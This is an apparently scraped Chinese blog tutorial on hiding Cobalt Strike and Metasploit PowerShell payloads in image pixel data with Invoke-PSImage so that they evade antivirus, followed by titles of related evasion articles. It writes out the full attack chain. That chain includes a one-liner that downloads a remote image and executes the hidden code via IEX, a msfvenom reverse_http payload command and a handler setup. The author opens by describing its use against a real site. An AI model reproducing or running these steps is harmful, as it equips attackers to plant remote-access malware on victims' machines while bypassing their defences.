shellcode隐写到像素RGB免杀上线到CS
利用把Shellcode隐写到图片像素RGB进行免杀上线到CS
——by:chenw
0x01 前言
前几天跟一个朋友一起搞一个站的时候,发现那个站点开了很多杀软,使用CS的powershell马无法令其上线。后续在github上找到了一个可以把shellcode隐写到图片的RGB里,然后使其过杀软的检测上线到CS。

今天打算把这个免杀的过程进行一个记录。
0x02 本地环境
靶机:win7 IP:192.168.82.136
攻击机:fsec ip:192.168.82.134
0x03 步骤
0x03-1 CS平台使用步骤
- 首先,使用CS生成一个ps1文件:


- 去github上将免杀项目下载下来,链接:https://github.com/dayuxiyou/Invoke-PSImage
然后将刚才生成的ps1文件放在刚刚下载的项目内与Invoke-PSImage.ps1文件在同一目录:

再准备一张图片用于生成一张带有Payload的图片:

- 之后在win7里使用命令生成一个带有shellcode的图片:
#1、设置执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
#2、导入ps1文件
Import-Module .\Invoke-PSimage.ps1
#3、生成带有shellcode的图片
Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web
之后会得到这么一串代码:
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/s
hell.png"));$o=a Byte[] 4320;(0..3)|%{foreach($x in(0..1079)){$p=$g.GetPixel($x,$_);$o[$_*1080+$x]=([math]::Floor(($p.B
-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))

并且会得到带有shellcode的图片shell.png:

接着将得到的shellcode里的"http://example.com/s
hell.png"改为我们自己的http服务,这里我使用python3架起一个http服务,命令为:
python3 -m http.server 80

4. 最后来到win7运行该powershell,看CS上是否上线:

成功上线。叫上小伙伴来一起快乐的上号

把其放到virustotal上进行检测,结果如下:

免杀效果还是很nice的。

0x03-2 MSF平台使用步骤
- 首先使用msf生成一个ps1文件,命令如下:
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.82.134 LPORT=7788 -f psh-reflection > msf.ps1

后面老规矩,把它丢到与Invoke-PSImage.ps1文件在同一目录,后面操作相同,参考CS平台,生成带有shellcode的图片,然后放入前面架设的http服务内,进行区别,图片叫msf.png:

老规矩,将得到的ps代码里的地址改为自己vps的地址。
接着在fsec上进行监听:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http payload => windows/x64/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.82.134
lhost => 192.168.82.134
msf6 exploit(multi/handler) > set lport 7799
lport => 7799
msf6 exploit(multi/handler) >

然后在靶机上运行该代码使其上线:


成功上线。
0x04 结尾
这么好用的免杀还不赶紧自己动手去试一试

0x05 免责声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !
shellcode隐写到像素RGB免杀上线到CS的更多相关文章
- BadUsb配合Cobalt-Strike免杀上线
BadUsb配合Cobalt-Strike免杀上线 前言: 原理简介:Badusb的原理是将恶意代码预置在固件之中,当受害人插入USB时,就会执行恶意代码进行恶意操作.Badusb将恶意代码预存在U盘 ...
- 附件携马之CS免杀shellcode过国内主流杀软
0x01 写在前面 其实去年已经写过类似的文章,但是久没用了,难免有些生疏.所谓温故而知新,因此再详细的记录一下,一方面可以给各位看官做个分享,另一方面等到用时也不至于出现临阵磨枪的尴尬场面. 0x0 ...
- 20165223《网络对抗技术》Exp3 免杀原理与实践
目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165321 Exp3 免杀原理与实践
1. 实践内容(4分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellco ...
- 2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践
一,实验要求 (我是真的不知道为什么截图中都有学号和姓名信息了还要求改主机名......而且实验要求里也没有明确说.做完之后听别人说的,肯定是不能重新截图了,要扣分就扣吧) 通过本部分内容的学习,认识 ...
- 2018-2019-2 网络对抗技术 20165219 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165219 Exp3 免杀原理与实践 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用sh ...
- payload免杀之msbuild利用
0x00 前言 红队必备技巧免杀之一,现在主要是.net4.0下实现.待我过几天有空实现一下.net2.0. 0x01 免杀过程 利用cs生成c#的payload,如图所示: 将paypload内容填 ...
- PHP木马免杀的一些总结
前言 这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助.这里解释一下什么是php木马,这里大体分为三种: 能完成写入文件.列目录.查看文件.执行一些系统命令等少量功能的,这种的是" ...
随机推荐
- DRF 三大认证之身份认证
目录 路由组件补充 三大认证 一.身份认证 1.如何进行身份认证 2.jwt认证规则原理 3.jwt的组成 4.jwt的使用方法 4.1 签发算法 4.2 校验算法 4.3 刷新算法 二.权限认证 三 ...
- CentOS7系统重置root密码
https://blog.csdn.net/qq_42969074/article/details/88080821
- 因MemoryCache闹了个笑话
前言 是这么一回事: 我正在苦思一个业务逻辑,捋着我还剩不多的秀发,一时陷入冥想中...... 突然聊天图标一顿猛闪,打开一看,有同事语音: 大概意思是:同事把项目中Redis部分缓存换成Memory ...
- 简单的webRTC连接测试
webRTC WebRTC (Web Real-Time Communications) 是一项实时通讯技术,它允许网络应用或者站点,在不借助中间媒介的情况下,建立浏览器之间点对点(Peer-to-P ...
- java 入门环境搭建
Java帝国的诞生 1972年C诞生 1982年C++诞生 1995年JAVA诞生,为了实现真正的跨平台,在操作系统之上又加了抽象层,叫做JAVA的虚拟机,统称JVM 三高问题: 高可用 高性能 高并 ...
- Java的特性和优势以及不同版本的分类,jdk,jre,jvm的联系与区别,javadoc的生成
Java 1.Java的特性和优势 Write Once,Run Anywhere 简单性 面向对象 可移植性 高性能 分布式 动态性 多线程 安全性 健壮性 2.Java的三大版本 JavaSE:标 ...
- 反射的常用API
反射的常用API 加载程序集 Assembly assembly = Assembly.Load("程序集名称"); // 从前目录加载程序集,提供程序集名称,无后缀 Assemb ...
- redis一句话木马控电脑
(1)在redis管理工具内写入木马并保存: 输入命令行: config set dbfilename shell.php set shell "<?php @assert($_P ...
- groovy-map.each{}
ConfigDetail postEdiUrl(TtxSession sess, String code) { return cdSvc.getByRecordTypeAndIdentifier(se ...
- hibernate 的一对多关联关系映射配置
hibernate 是操作实体类: 表是一对多的关系,当创建这2个实体的时候 在一的一方定义一个多的一方的集合 在多的一方定义一个一的一方的对象 表是多对多的关系,当创建这2个实体的时候 在互相中都有 ...